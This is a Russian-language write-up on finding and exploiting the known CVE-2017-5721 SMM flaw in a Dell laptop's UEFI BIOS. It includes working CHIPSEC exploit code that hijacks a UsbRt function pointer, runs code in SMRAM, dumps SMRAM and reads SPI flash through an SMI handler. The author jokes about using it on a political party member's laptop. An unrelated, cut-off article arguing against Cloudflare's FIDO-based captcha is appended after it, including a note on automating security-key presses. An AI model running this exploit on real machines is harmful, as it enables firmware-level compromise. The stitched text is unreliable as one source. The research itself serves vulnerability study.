Автор статьи Закиров Руслан @backtrace.

Предполагается, что читатель уже знаком с основами UEFI BIOS и устройством подсистемы SMM.

Тестовый стенд и подготовка к работе

В качестве подопытного кролика мы взяли ноутбук DELL Inspiron 7567. Причины выбора этого ноутбука следующие: нам известно, что в старой прошивке этого ноутбука есть известная уязвимость CVE-2017-5721, а также он есть у нас в наличии.

Первое, что происходит с ноутбуком при начале исследований - определение местоположения SPI флеш-памяти на материнской плате. Обнаружить этот чип можно визуально после разборки ноутбука. SPI флеш-память практически всегда находится на нижней стороне материнской платы, поэтому полный разбор ноутбука не требуется. Иногда даже достаточно снять крышку для доступа к HDD.

После обнаружения SPI флеш-памяти есть 2 варианта развития событий:

  1. Подключаем любым доступным способом флеш-память к программатору напрямую от ноутбука (строго в выключенном состоянии);

  2. Выпаиваем этот чип, для того чтобы можно было поместить его в кроватку (адаптер), что позволит быстро переподключать флеш-память от ноутбука к программатору и обратно.

Мы в нашей работе используем универсальный программатор ChipProg-481, но, в целом, подойдёт любой SPI программатор. Наличие программатора необходимо, поскольку ошибка при работе с содержимым флешки может привести к тому, что ноутбук станет "кирпичом". В таком случае восстановление его работоспособности будет возможно лишь при помощи перезаписи содержимого SPI флеш-памяти заранее снятым с нее дампом "до экспериментов". Также наличие программатора позволит заливать модифицированные прошивки со специальным "бэкдором" для расширение возможностей анализа.

Наша работа будет производиться над версией прошивки 1.0.5 (link). При отсутствии возможности откатиться до этой версии прошивки вы можете воспользоваться нашим дампом.

Работаем с прошивкой

После снятия дампа с SPI флеш-памяти возникает необходимость открыть этот бинарный файл. Для этой цели существует UEFITool, который позволяет не только просматривать содержимое прошивки UEFI BIOS, но и производить поиск, извлекать, добавлять, заменять и удалять компоненты прошивки. Функции, связанные с пересборкой прошивки доступны только в Old Engine версии. Для остальных задач лучше использовать New Engine (содержит "NE" в названии файла).

Довольно часто нужные кодовые модули EFI можно найти внутри дампа по их названиям (напрмер, UsbRt). Но в некоторых случаях вендоры не сохраняют информацию о названиях модулей в прошивке. В таком случае поиск требуемого модуля следует производить при помощи его GUID, но это сработает только с общеизвестными модулями. Нередко разработчики BIOS добавляют в прошивки проприетарные модули, и при отсутствии информации о названиях модулей приходится придумывать свои собственные.

GUID модулей можно найти в следующих источниках:

  1. В открытой реализации UEFI EDKII

  2. В репозитории (U)EFI Whitelisting Project

  3. В прошивке UEFI BIOS другого ноутбука, в котором названия модулей сохранены

  4. В интегрированных базах различных инструментов и плагинов

Инструменты

При анализе модулей наиболее полезными инструментами являются IDA Pro и Ghidra. Но наличие только этих инструментов будет недостаточно. В этих материалах можно подробно узнать об актуальных инструментах при исследовании UEFI BIOS:

Нам понадобятся следующие инструменты:

  • UEFITool - о нем говорилось выше

  • CHIPSEC - при помощи этого фреймворка мы будем разрабатывать наш PoC

  • RWEverything - очень полезный инструмент, который позволяет взаимодействовать с различными аппаратными ресурсами компьютера, и все это при помощи GUI

  • Плагины для IDA Pro: efiXplorer и/или ida-efitools2

  • Если вы приверженец Ghidra, то вам понадобится плагин efiSeek

  • Для обработки дампа SMRAM нам понадобится скрипт smram_parse

Это не исчерпывающий, но достаточный список инструментов этой тематики. Как можно заметить, все перечисленные инструменты относятся к типу инструментов статического анализа. Как же обстоят дела с инструментами динамического анализа? Можно рассмотреть следующий список актуальных инструментов:

Несмотря на существование подобных инструментов и их активное развитие, в практическом плане при поиске уязвимостей в подсистеме SMM они представляют нулевую ценность, поскольку ориентированы на эмуляцию фаз PEI и DXE.

В таком случае появляется вопрос: как же производить отладку? Отладку можно производить при помощи технологии Intel DCI. Информацию об использовании данной технологии можно получить из следующих материалов:

Проблема этой технологии в том, что работает она далеко не везде. Поэтому отладка зачастую производится методом проб и ошибок.

Ищем уязвимость

UsbRt

Попробуем самостоятельно найти уязвимость в модуле UsbRt. Для начала откроем дамп BIOS в UEFITool, после чего сделаем поиск по тексту "UsbRt", и обнаружим, что это название в прошивке отсутстует (вендор не оставил информацию о названиях модулей) либо называется он по-другому.
Произведя поиск в различных источниках (например, здесь) мы определяем, что модулю UsbRt соответствует GUID 04EAAAA1-29A1-11D7-8838-00500473D4EB. Теперь, при помощи поиска по GUID, мы можем извлечь соответствующую секцию образа PE32. На самом деле UEFITool содержит в себе базу общеизвестных GUID-ов, но надпись "USBRT" пришлось бы искать глазами, поскольку поиск по тексту не включает в себя записи из базы GUID-ов.

Здесь и далее будет использоваться инструмент IDA Pro с указанными выше плагинами, но все необходимые манипуляции доступны и в Ghidra.

После открытия модуля UsbRt в IDA Pro нам необходимо найти обработчик software прерываний. Чаще всего все достаточно просто - после отработки плагина ida-efitools2 функция уже подписана как "DispatchFunction".

Но в данном случае эта функция относится к протоколу EFI_SMM_USB_DISPATCH2_PROTOCOL, который нас не сильно интересует. Нам следует отталкиваться от перекрестных ссылок на EFI_SMM_SW_DISPATCH2_PROTOCOL_GUID, чтобы определить место использования интересующего нас протокола. Так мы сможем понять какая функция регистрируется в качестве обработчика software прерываний.

Я назвал обнаруженный обработчик как "SwDispatchFunction". Также можно заметить, что этому обработчику соответствует SMI прерывание #31h.

Здесь стоит обратить внимание на некий глобальный указатель на структуру "usb_data", на основе которой происходит много операций. Из неё же извлекается структура "request", откуда в свою очередь извлекается некий индекс. Ниже можно заметить, что на основе индекса происходит вызов функции из массива.

.code:0000000080000E80 funcs_1C42 dq offset sub_80001F74       ; DATA XREF: sub_8000191C+259o.code:0000000080000E80                                         ; SwDispatchFunction:loc_80001C35o ....code:0000000080000E80         dq offset sub_80002028.code:0000000080000E80         dq offset sub_80002030.code:0000000080000E80         dq offset sub_8000205C.code:0000000080000E80         dq offset sub_8000205C.code:0000000080000E80         dq offset sub_8000205C.code:0000000080000E80         dq offset sub_80002064.code:0000000080000E80         dq offset sub_800020B0.code:0000000080000E80         dq offset sub_80001F38.code:0000000080000E80         dq offset sub_8000205C.code:0000000080000E80         dq offset sub_8000205C.code:0000000080000E80         dq offset sub_8000205C.code:0000000080000E80         dq offset sub_80002938.code:0000000080000E80         dq offset sub_80002E58.code:0000000080000E80         dq offset sub_80003080.code:0000000080000E80         dq offset sub_800030D8.code:0000000080000E80         dq offset sub_800029AC.code:0000000080000E80         dq offset sub_80002B18.code:0000000080000E80         dq offset sub_80002B20.code:0000000080000E80         dq offset sub_80002D08.code:0000000080000E80         dq offset sub_80002D5C.code:0000000080000E80         dq offset sub_80008888.code:0000000080000E80         dq offset sub_80002C84.code:0000000080000E80         dq offset sub_80002EB0

Сделаем вид, что просмотрели все 24 функции, и наибольший интерес у нас вызвала функция с индексом 14 (sub_80003080), которую назовём как "subfunc_14".

Функция, после нескольких арифметических операций, извлекает и передает указатель из структуры usb_data в следующую функцию:

Здесь мы обнаруживаем просто изумительную функцию! Помимо возможности исполнить произвольный адрес эта функция так же позволяет передать вплоть до 7 аргументов! Но главный вопрос - можем ли мы управлять передаваемым указателем?

Приступим к изучению указателя usb_data. Список перекрестных ссылок не оставляет никаких надежд усомниться в местонахождении инициализации данного указателя:

Судя по всему, нам придётся искать модуль, который производит установку протокола EFI_USB_PROTOCOL (сразу после того как убедились, что этот протокол не устанавливается в модуле UsbRt):

На данном этапе, возможно, уместно было бы воспользоваться плагином efiXplorer для поиска нужного модуля, но мы сделаем по старинке. Копируем GUID интересующего нас протокола (ida-efitools2 позволяет это делать при помощи горячей клавиши Ctrl-Alt-G) либо извлекаем соответствующие этому GUID байты. Полученную информацию используем для поиска в прошивке при помощи UEFITool (ставим галочку Header and body).

Сразу можно отсечь модули, у которых вхождения не только в PE32, но и в "MM dependecy section" (секция зависимостей модуля), поскольку модуль не может одновременно предоставлять протокол и зависеть от него.На выбор остаётся Bds, SBDXE, Setup, CsmDxe, UHCD, KbcEmul и некий безымянный модуль. Можно бегло просмотреть все эти модули на предмет установки протокола EFI_USB_PROTOCOL, но что-то мне подсказывает, что первая буква в аббревиатуре UHCD означает Usb, поэтому перейдем сразу к нему.

UHCD

EFI_USB_PROTOCOL действительно устанавливается в этом модуле. Тут же мы видим указатель usb_data. Также важно отметить, что в первое поле структуры EFI_USB_PROTOCOL записывается сигнатура "USBP" ('PBSU' при обратном порядке байтов). Осталось понять, откуда берётся usb_data.

Структура аллоцируется при помощи той же функции, что и в случае с EFI_USB_PROTOCOL. Также устанавливается сигнатура "$UDA" (Usb DAta?). Как же происходит аллокация памяти?

Вот где собака зарыта! Память выделяется при помощи EFI_BOOT_SERVICES, т.е. в фазе DXE. Это значит, что память не размещена внутри SMRAM, поэтому ОС имеет полный доступ к этой памяти, осталось только найти нужные структуры в ней. Тут не помешает отметить, что память выделяется с типом "AllocateMaxAddress", из-за чего с высокой долей вероятности выделенный буфер будет располагаться где-то неподалеку от начала SMRAM.

Прототипируем эксплоит

У нас начинает вырисовываться следующий алгоритм эксплуатации обнаруженной уязвимости:

  1. Ищем в памяти сигнатуру "$UDA" - так мы установим расположение структуры usb_data;

  2. По определенному смещению заменяем указатель в структуре на подконтрольный адрес;

  3. Также обновляем структуру request в usb_data, чтобы вынудить обработчик исполнить subfunc_14;

  4. В той же структуре можно указать буфер с нашими аргументами для вызываемой функции;

  5. Генерируем software прерывание #31h.

Для всех перечисленных действий нам потребуется привилегии ядра (Ring 0). Но писать эксплоит в виде системного драйвера выглядит довольно трудозатратно и долго.
Под эту задачу идеально подходит фреймворк CHIPSEC, который написан на Python, и который имеет все необходимые примитивы по работе с физической памятью, PCI, прерываниями и прочими аппаратными функциями.
CHIPSEC для доступа к аппаратным ресурсам использует собственный самоподписанный системный драйвер. Из-за этого ОС необходимо переключать в тестовый режим. Но CHIPSEC также позволяет использовать драйвер RWEverything, который имеет валидную цифровую подпись. Этот вариант имеет некоторые подводные камни, как, например, ограничение на размер выделяемой физической памяти, который не может превышать 0x10000 байт.

Инициализация и генерирование прерывания через фреймворк CHIPSEC выглядит следующим образом:

import chipsec.chipsetfrom chipsec.hal.interrupts import InterruptsSMI_USB_RUNTIME = 0x31cs = chipsec.chipset.cs()cs.init(None, None, True, True)intr = Interrupts(cs)intr.send_SW_SMI(0, SMI_USB_RUNTIME, 0, 0, 0, 0, 0, 0, 0)

Приступим к поиску usb_data в памяти.

mem_read = cs.helper.read_physical_memmem_write = cs.helper.write_physical_memmem_alloc = cs.helper.alloc_physical_memPAGE_SIZE = 0x1000SMRAM = cs.cpu.get_SMRAM()[0]for addr in range(SMRAM // PAGE_SIZE - 1, 0, -1):    if mem_read(addr * PAGE_SIZE, 4) == b'$UDA':        usb_data = addr * PAGE_SIZE        break

Мы пользуемся особенностью памяти, выделенной по типу AllocateMaxAddress, производя поиск от SMRAM в обратном порядке. Также нет смысла сверять каждый байт, поскольку для этого буфера выделялись страницы памяти, поэтому шагаем по 4096 байт.

Теперь подготовим нашу структуру request и обновим соответствующий указатель в usb_data:

struct_addr = mem_alloc(PAGE_SIZE, 0xffffffff)[1]mem_write(struct_addr, PAGE_SIZE, '\x00' * PAGE_SIZE)  # очистим структуруmem_write(struct_addr + 0x0, 1, '\x2d')  # здесь указываем номер функции, которую мы хотим вызвать, + 0x19mem_write(struct_addr + 0xb, 1, '\x10')  # поправка на ветер# по этому смещению UsbRt берёт указатель на структуру requestmem_write(usb_data + 0x64E0, 8, pack('<Q', struct_addr))

И самое интересное - изменяем указатель по смещению 0x78 (именно такое значение получается после всех вычислений в функции subfunc_14) в структуре usb_data. Модуль UsbRt затем попытается его исполнить в процессе обработки прерывания.

bad_ptr = 0x12345678func_offset = 0x78mem_write(usb_data + func_offset, 8, pack('<Q', bad_ptr))intr.send_SW_SMI(0, SMI_USB_RUNTIME, 0, 0, 0, 0, 0, 0, 0)

По исполнению этого кода можно заметить, что система намертво зависла. Но дело совсем не в том, что по адресу 0x12345678 располагается невесть что, а в том, что произошло аппаратное исключение Machine Check Exception. Наступило оно по причине того, что современные платформы предотвращают исполнение SMM кода вне региона SMRAM (SMM_Code_Chk_En).

Обойти это ограничение относительно легко - достаточно посмотреть адрес функции memcpy в модуле UsbRt (или любом другом) в дампе SMRAM. Но без дампа SMRAM адрес так просто не узнать. И здесь мы переходим ко второй части этой статьи.

Создаем полноценный эксплоит

Главный минус текущего варианта эксплоита в том, что он позволяешь лишь исполнить код по указанному адресу. Для свободы действий необходимо придумать способ развить эксплоит до полноценного read-write-execute примитива.

Мы можем исполнить любой код в SMRAM, но мы не знаем расположение функций внутри SMRAM. Значит, нужно самостоятельно определить базовый адрес какого-либо модуля. И уже относительно этого базового адреса мы сможем получить адрес интересующей нас функции (memcpy, например).

Полезные структуры

Как мы уже могли заметить, часть используемых данных при работе SMM хранится вне SMRAM. Некоторые структуры инициализируются в процессе работы фазы DXE, и по завершению этой фазы остаются висеть мертвым грузом в зарезервированной памяти, лишая ОС возможности воспользоваться ей. В таких структурах иногда можно обнаружить указатели в область SMRAM. При изучении происхождения этих структур можно наткнуться на очень полезные указатели.

Хорошим примером такой структуры является SMM_CORE_PRIVATE_DATA. Даже название уже интригует. Эти "приватные данные" легко находятся по сигнатуре "smmc" в зарезервированных областях памяти. Структура описана в репозитории EDK2:

typedef struct {  UINTN                           Signature;  ///  /// The ImageHandle passed into the entry point of the SMM IPL.  This ImageHandle  /// is used by the SMM Core to fill in the ParentImageHandle field of the Loaded  /// Image Protocol for each SMM Driver that is dispatched by the SMM Core.  ///  EFI_HANDLE                      SmmIplImageHandle;  ///  /// The number of SMRAM ranges passed from the SMM IPL to the SMM Core.  The SMM  /// Core uses these ranges of SMRAM to initialize the SMM Core memory manager.  ///  UINTN                           SmramRangeCount;  ///  /// A table of SMRAM ranges passed from the SMM IPL to the SMM Core.  The SMM  /// Core uses these ranges of SMRAM to initialize the SMM Core memory manager.  ///  EFI_SMRAM_DESCRIPTOR            *SmramRanges;  ///  /// The SMM Foundation Entry Point.  The SMM Core fills in this field when the  /// SMM Core is initialized.  The SMM IPL is responsible for registering this entry  /// point with the SMM Configuration Protocol.  The SMM Configuration Protocol may  /// not be available at the time the SMM IPL and SMM Core are started, so the SMM IPL  /// sets up a protocol notification on the SMM Configuration Protocol and registers  /// the SMM Foundation Entry Point as soon as the SMM Configuration Protocol is  /// available.  ///  EFI_SMM_ENTRY_POINT             SmmEntryPoint;  ///  /// Boolean flag set to TRUE while an SMI is being processed by the SMM Core.  ///  BOOLEAN                         SmmEntryPointRegistered;  ///  /// Boolean flag set to TRUE while an SMI is being processed by the SMM Core.  ///  BOOLEAN                         InSmm;  ///  /// This field is set by the SMM Core then the SMM Core is initialized.  This field is  /// used by the SMM Base 2 Protocol and SMM Communication Protocol implementations in  /// the SMM IPL.  ///  EFI_SMM_SYSTEM_TABLE2           *Smst;  ///  /// This field is used by the SMM Communication Protocol to pass a buffer into  /// a software SMI handler and for the software SMI handler to pass a buffer back to  /// the caller of the SMM Communication Protocol.  ///  VOID                            *CommunicationBuffer;  ///  /// This field is used by the SMM Communication Protocol to pass the size of a buffer,  /// in bytes, into a software SMI handler and for the software SMI handler to pass the  /// size, in bytes, of a buffer back to the caller of the SMM Communication Protocol.  ///  UINTN                           BufferSize;  ///  /// This field is used by the SMM Communication Protocol to pass the return status from  /// a software SMI handler back to the caller of the SMM Communication Protocol.  ///  EFI_STATUS                      ReturnStatus;  EFI_PHYSICAL_ADDRESS            PiSmmCoreImageBase;  UINT64                          PiSmmCoreImageSize;  EFI_PHYSICAL_ADDRESS            PiSmmCoreEntryPoint;} SMM_CORE_PRIVATE_DATA;

В нашем случае нам бы очень пригодился указатель PiSmmCoreImageBase, по которому располагается модуль PiSmmCore. К сожалению, наша система старовата, и настоящая структура не совсем соответствует описанию. До некоторого момента последних трёх указателей в этой структуре не существовало, как можно заметить в репозитории. В таком случае мы вынуждены прибегнуть к иному способу.

Иной способ

Мы уже знаем, что в памяти располагаются структуры usb_data и usb_protocol. Вполне возможно, что эти структуры содержат указатели на функции внутри модуля UsbRt.

Если мы вернёмся к месту инициализации указателя usb_data в модуле UsbRt, то можем заметить, что в коде происходит замена некоторых указателей в протоколе EFI_USB_PROTOCOL:

Указателями являются функции модуля UsbRt - как раз то, что нам надо. Сконцентрируемся на указателе по смещению +0x50 (+0xA), поскольку он наиболее близок к базовому адресу (это пока не важно).

Извлечь этот указатель достаточно просто:

for addr in range(SMRAM // PAGE_SIZE - 1, 0, -1):    if mem_read(addr * PAGE_SIZE, 4) == b'USBP':        usb_protocol = addr * PAGE_SIZE        breakfuncptr = unpack('<Q', mem_read(usb_protocol + 0x50, 8))[0]

А теперь всё просто: открываем UsbRt в дизассемблере, сопоставляем виртуальный адрес функции с фактическим, находим функцию memcpy, вычисляем разницу между двумя функциями, прибавляем разницу к фактическому адресу полученной функции. Физический адрес функции memcpy получен!

Наш эксплоит теперь можно дополнить. Мы можем, например, сделать полный дамп SMRAM. И возможность передавать аргументы наконец пригодилась:

memcpy = 0x8d5afdb0src = cs.cpu.get_SMRAM()[0]  # начало SMRAMcnt = cs.cpu.get_SMRAM()[2]  # размер SMRAMdst = mem_alloc(cnt, 0xffffffff)[1]argc = 3argv = mem_alloc(argc << 3, 0xffffffff)[1]mem_write(argv, 8, dst)mem_write(argv + 8, 8, src)mem_write(argv + 0x10, 8, cnt)struct_addr = mem_alloc(PAGE_SIZE, 0xffffffff)[1]mem_write(struct_addr, PAGE_SIZE, '\x00' * PAGE_SIZE)  # очистим структуруmem_write(struct_addr + 0x0, 1, '\x2d')  # здесь указываем номер функции, которую мы хотим вызвать, + 0x19mem_write(struct_addr + 0xb, 1, '\x10')  # поправка на ветерmem_write(struct_addr + 0x3, 8, pack('<Q', argv))  # указатель на аргументыmem_write(struct_addr + 0xf, 4, pack('<I', argc << 3))  # размер аргументовmem_write(usb_data + 0x64E0, 8, pack('<Q', struct_addr))mem_write(usb_data + 0x78, 8, pack('<Q', memcpy))intr.send_SW_SMI(0, SMI_USB_RUNTIME, 0, 0, 0, 0, 0, 0, 0)with open('smram_dump.bin', 'wb') as f:    f.write(mem_read(dst, cnt))

Дамп SMRAM получили. Но на душе все равно как-то гадко. Мы ведь вручную сопоставили адреса функций и посчитали разницу до функции memcpy. Нельзя ли сделать это автоматически?

Автоматизируем вычисления

Давайте представим, что мы эксплуатируем ноутбук какого-нибудь члена Национального комитета Демократической партии США. Нам не до сопоставления функций, нужно сделать все в один клик. Более того, нельзя просто взять и положить рядом извлеченный модуль UsbRt. Версия может же отличаться.

Для извлечения актуальной версии модуля идеально подходит специальный регион физической памяти, в которой расположена отображённая на память (memory mapped) флеш-память. Смапленную флеш-память можно прочитать в самом конце 4 ГБ-ного пространства физической памяти. Начало региона зависит от размера флеш-памяти.

Для нас достаточно знать начало и размер BIOS региона. В этом нам поможет регистр BIOS_BFPREG, который находится в SPIBAR. В нем хранятся значения базового смещения и предела BIOS региона внутри флеш-памяти. Это позволяет нам вычислить размер BIOS региона. Поскольку BIOS регион принято хранить последним, то на основе размера этого региона можно определить физический адрес региона в смапленной флеш-памяти.

base = cs.read_register_field('BFPR', 'PRB') << 12limit = cs.read_register_field('BFPR', 'PRL') << 12bios_size = limit - base + 0x1000bios_addr = 2**32 - bios_size

Благодаря широким возможностям фреймворка CHIPSEC у нас есть возможность в автоматизированном режиме распаковать считанную из памяти часть прошивки и извлечь необходимый модуль.

from uuid import UUIDfrom chipsec.hal.uefi import UEFIfrom chipsec.hal.spi_uefi import build_efi_model, search_efi_tree, EFI_MODULE, EFI_SECTIONSECTION_PE32 = 0USBRT_GUID = UUID(hex='04EAAAA1-29A1-11D7-8838-00500473D4EB')uefi = UEFI(cs)bios_data = mem_read(bios_addr, bios_size)def callback(self, module: EFI_MODULE):    # PE32 секция сама по себе не имеет GUID, нужно обращаться к родителю    guid = module.Guid or cast(EFI_SECTION, module).parentGuid    return UUID(hex=guid) == USBRT_GUIDtree = build_efi_model(uefi, bios_data, None)modules = search_efi_tree(tree, callback, SECTION_PE32, False)usbrt = modules[0].Image[module.HeaderSize:]

Далее пойдёт очень хитрая математика:

  • У нас есть указатель на функцию из UsbRt, который был наиболее близок к базовому адресу модуля (вот теперь это стало важно);

  • Из него можно вычесть смещение входной точки, что приблизит нас к нашей цели;

  • Осталось вычислить разницу между входной точкой и имеющейся функцией;

  • Для начала можно выравнить указатель вверх до 0x1000 байт, все равно базовый адрес тоже будет выравнен;

  • Затем можно вычесть 0x2000 байт. Почему именно это число? Оно было установлено путем обсервации прошивок других версий и других вендоров.

    def align_up(x, a):  a -= 1  return ((x + a) & ~a)nthdr_off, = unpack_from('=I', usbrt, 0x3c) ep, = unpack_from('=I', usbrt, nthdr_off + 0x28)imagebase = funcptr imagebase -= ep  imagebase = align_up(imagebase, 0x1000) imagebase -= 0x2000
    

Кстати, занимательный факт: в UEFI модулях SectionAlignment равняется FileAlignment (0x20), из-за чего все смещения внутри файла на диске совпадают со смещениями в образе модуля в памяти. Это сделано для экономии места в регионе SMRAM.

Базовый адрес получен. Дело за малым - определить функцию memcpy. В прошивках UEFI используется memcpy, которая реализована в EDK2 (она на самом деле называется CopyMem). Поэтому она должна совпадать у всех вендоров. Так что будет достаточно безопасно реализовать поиск функции по начальным опкодам.

import rePUSH_RSI_PUSH_RDI = b'\x56\x57'REP_MOVSQ = b'\xf3\x48\xa5'# ищем rep movsqfor m in re.finditer(REP_MOVSQ, usbrt):    rep_off = m.start()    # теперь в обратном направлении push rsi; push rdi (начало функции)    entry_off = usbrt.rfind(PUSH_RSI_PUSH_RDI, 0, rep_off)    # на всякий случай проверяем разницу между найденными опкодами    if rep_off - entry_off > 0x40:        # не походит на правду, пропустим от греха подальше        continue    memcpy = imagebase + entry_off    break

Теперь в нашем арсенале полностью автоматизированный эксплоит, позволяющий не только исполнять код внутри SMRAM, но и произвольно читать и писать в любую область физической памяти.

Куда двигаться дальше

Возможность свободно взаимодействовать с памятью SMRAM - это, конечно, здорово. Но без возможности закрепиться в прошивке полноценная атака не получится, поскольку после перезагрузки системы память сбросится, очевидно. Следующим шагом будет поиск возможности модифицировать прошивку, которая хранится в SPI флеш-памяти.

В первую очередь стоит ознакомиться с результатами тестов CHIPSEC, которые покажут наличие защитных функций флеш-памяти:

[*] running module: chipsec.modules.common.bios_wp[x][ =======================================================================[x][ Module: BIOS Region Write Protection[x][ =======================================================================[*] BC = 0x00000A8A << BIOS Control (b:d.f 00:31.5 + 0xDC)    [00] BIOSWE           = 0 << BIOS Write Enable    [01] BLE              = 1 << BIOS Lock Enable    [02] SRC              = 2 << SPI Read Configuration    [04] TSS              = 0 << Top Swap Status    [05] SMM_BWP          = 0 << SMM BIOS Write Protection    [06] BBS              = 0 << Boot BIOS Strap    [07] BILD             = 1 << BIOS Interface Lock Down[!] Enhanced SMM BIOS region write protection has not been enabled (SMM_BWP is not used)[*] BIOS Region: Base = 0x00700000, Limit = 0x00FFFFFFSPI Protected Ranges------------------------------------------------------------PRx (offset) | Value    | Base     | Limit    | WP? | RP?------------------------------------------------------------PR0 (84)     | 00000000 | 00000000 | 00000000 | 0   | 0PR1 (88)     | 00000000 | 00000000 | 00000000 | 0   | 0PR2 (8C)     | 00000000 | 00000000 | 00000000 | 0   | 0PR3 (90)     | 00000000 | 00000000 | 00000000 | 0   | 0PR4 (94)     | 00000000 | 00000000 | 00000000 | 0   | 0[!] None of the SPI protected ranges write-protect BIOS region[!] BIOS should enable all available SMM based write protection mechanisms or configure SPI protected ranges to protect the entire BIOS region[-] FAILED: BIOS is NOT protected completely

По результатам тестов можно понять, что в системе действует защита BIOSWE=0 + BLE=1. Это означает, что стандартными функциями записи во флеш-память (доступны в CHIPSEC) у нас не получится что-либо изменить в прошивке. Механизм SPI Protected Ranges не сконфигурирован на этой системе. Это значит, что мы могли бы внести изменения при помощи модуля SMM. Однако, есть еще два механизма, которые могут помешать нам это сделать.

CHIPSEC не может проверить наличие этих механизмов, но в нашей системе они существуют. Эти механизмы - Intel BIOS Guard и Intel Boot Guard. Первый механизм не даст нам произвести запись в кодовые регионы BIOS, а второй, при условии, что мы все же смогли переписать BIOS, не позволит модифицированной прошивке загрузиться при запуске системы.
Но мы все же рассмотрим как можно работать с SPI посредством SMM-драйвера.

Возвращаемся к UEFITool и ищем модуль, название которого как-то связано с Flash и SMI. Идеальным кандидатом является модуль FlashSmiSmm. При его детальном изучении в дизассемблере может сложиться впечатление, что он не регистрирует никаких software прерываний, в нем даже EFI_SMM_SW_DISPATCH2_PROTOCOL_GUID не фигурирует! На самом деле этот модуль регистрирует другой тип software прерывания, который называется ACPI SMI. Чтобы определить место регистрации ACPI SMI в IDA Pro можно воспользоваться функцией "List cross references to..." на поле EFI_SMM_SYSTEM_TABLE2.SmiHandlerRegister в окне структур.

Модуль регистрирует один ACPI SMI, предварительно считав UEFI переменную "FlashSmiBuffer", название которой недвусмысленно говорит о том, что в переменной хранится указатель на буфер для работы с флеш-памятью.

Конкретный ACPI SMI идентифицируется своим GUID, который указывается вторым аргументом функции SmiHandlerRegister (HandlerType). В нашем случае это 4052aca8-8d90-4f5a-bfe8-b895b164e482. Он нам далее понадобится. Теперь рассмотрим непосредственно саму функцию обработчика.

FlashSmiBuffer действительно используется для передачи задачи и аргументов. Если переключить отображение констант на символьное представление, то всё становится более менее очевидно:

  • Fe - Flash Erase

  • Fu - Flash Read (тут чисто логически, не понятно при чем тут "u")

  • Fw - Flash Write

  • Wd - Write Disable

  • We - Write Enable

Осталось лишь написать прототип для работы с SPI флеш-памятью, учитывая то, что обработчик реализован в виде ACPI SMI.

HANDLER_GUID = '4052aca8-8d90-4f5a-bfe8-b895b164e482'flash_addr = 0x200000size = 0x1000output = mem_alloc(size, 0xffffffff)[1]smi_buffer = unpack('<Q', cs.helper.get_EFI_variable('FlashSmiBuffer', HANDLER_GUID))[0]mem_write(smi_buffer, 4, b'FSMI')  # сигнатураmem_write(smi_buffer + 0x28, 2, b'uF')  # команда чтения с флеш-памятиmem_write(smi_buffer + 4, 4, pack('<I', flash_addr))  # адрес флеш-памятиmem_write(smi_buffer + 0x18, 4, pack('<I', size))  # размерmem_write(smi_buffer + 0x90, 4, pack('<I', output))  # выходной буферintr = Interrupts(cs)intr.send_ACPI_SMI(0, 1, intr.find_ACPI_SMI_Buffer(), None, HANDLER_GUID, '')

Таким незатейливым способом мы смогли заставить SMM драйвер прочитать для нас часть прошивки.

Заключение

Препарировать UEFI BIOS довольно интересно, хоть и немного однообразно. Когда надоест искать и находить RCE в SMM, можно переключиться на BIOS Guard и Boot Guard, в которых тоже можно найти кучку уязвимостей, а сам процесс поиска доставит кучу удовольствия. А если и это надоест, то самое время переключиться на изучение самого сложного, что можно найти в современных PC - Intel ME.

Подробнее..

Почему замена Капчи с помощью FIDO2Webauthn это плохая идея. Аргументация против решения Clouflare

19.05.2021 12:19:31 | Автор: admin

Вчера Cloudflare анонсировала замену Капчи с помощью FIDO аттестации. Вы можете почитать об этом в их блоге https://blog.cloudflare.com/introducing-cryptographic-attestation-of-personhood/, и попробовать само решения(если у вас есть FIDO сертифицированный ключ безопасности, как например Yubikey) https://cloudflarechallenge.com/

Также можно прочитать новость от @maybe_elfhttp://personeltest.ru/aways/habr.com/ru/news/t/557776/

Для тех кому интересно больше узнать о FIDO2 советую почитать эту статью http://personeltest.ru/aways/habr.com/ru/post/354638/

Как работает "FIDO Капча" у Cloudflare:

  1. Пользователя отправляют на Капча страницу

  2. Пользователь нажимает "I am human" (Я человек)

  3. Ключ безопасности загорается и пользователь дотрагивается до ключа

  4. Браузер запрашивает разрешение на получение аттестации устройства. После соглашения пользователем, аттестация отправляется Cloudflare.

  1. Cloudflare имея корневой сертификат полученный от производителя, подтверждает валидность аттестационного сертификата.

  2. PROFFIT!!!!

Прежде чем понять почему это все плохо, давайте разъясним два главных концепта Аттестация и Капча.

Что такое FIDO аттестация?

Аттестация это механизм протоколов FIDO для получения информации о модели устройства и его производителе. Когда вы регистрируете FIDO устройство в своем аккаунте, вебсайт может запросить вас предоставить аттестацию. По умолчанию же браузер её вырезает(почему обсудим позже).

Аттестация это такая криптографическая обертка. Во время производства, производитель зашивает в устройство партийный сертификат и партийный приватный ключ, a так же устанавливает идентификатор модели устройства. Для FIDO2 это GUID/UUID, для U2F это SKID(Subject Key Identifier). Вебсайт получая аттестацию, использует идентификатор модели чтобы найти корневой сертификат, и с помощью него валидирует путь сертификатов. Никакой магии, обычный PKI.

Что такое Капча?

Капча[1](отCAPTCHAангл.CompletelyAutomatedPublicTuring test to tellComputers andHumansApart полностью автоматизированный публичныйтест Тьюрингадля различения компьютеров и людей) компьютерный тест, используемый для того, чтобы определить, кем является пользователь системы: человеком или компьютером.

Ист. https://ru.wikipedia.org/wiki/%D0%9A%D0%B0%D0%BF%D1%87%D0%B0

То есть, весь смысл капчи это то что есть некие вещи которые тяжелые для компьютера: машинное зрение, анализ текста, логические пазлы и т.д., но легкие для человека.

Так почему же FIDO аттестация это плохая замена Капчи?

Первое: Автоматизация FIDO устройств это достаточно тривиальная задача

Весь смысл капчи это то что автоматизировать процесс решения задачи очень сложно. Но вот что не учли в Cloudflare это то что автоматизация FIDO ключей безопасности это очень просто. Во время аутентификации с помощью FIDO аутентификатор требует доказательства присутствия. Это делается за счет нажатия на кнопку или считыватель отпечатков. Соответсвенно, имея базовые знания электроники и умение писать под 5$ ардуинки, можно существенно автоматизировать процесс получения доказательства присутствия:

Да, это 60$ UNO, но 5$ клоны нано работают не хуже. Ист. https://twitter.com/agl__/status/1392876159591882755Да, это 60$ UNO, но 5$ клоны нано работают не хуже. Ист. https://twitter.com/agl__/status/1392876159591882755

Второе: Хакерам разрешения не нужны

Аттестация по умолчанию вырезается браузером, и вебсайту возвращается пустая аттестация, или как её называют в WebAuthn API - NONE. Если вебсайт хочет получить аттестацию, то он должен установить attestation: "direct" в запросе к API. Когда этот флаг установлен, пользователь должен дать согласие для передачи аттестации. Это сделано из-за проблем приватности у аттестации, об это мы поговорим ниже.

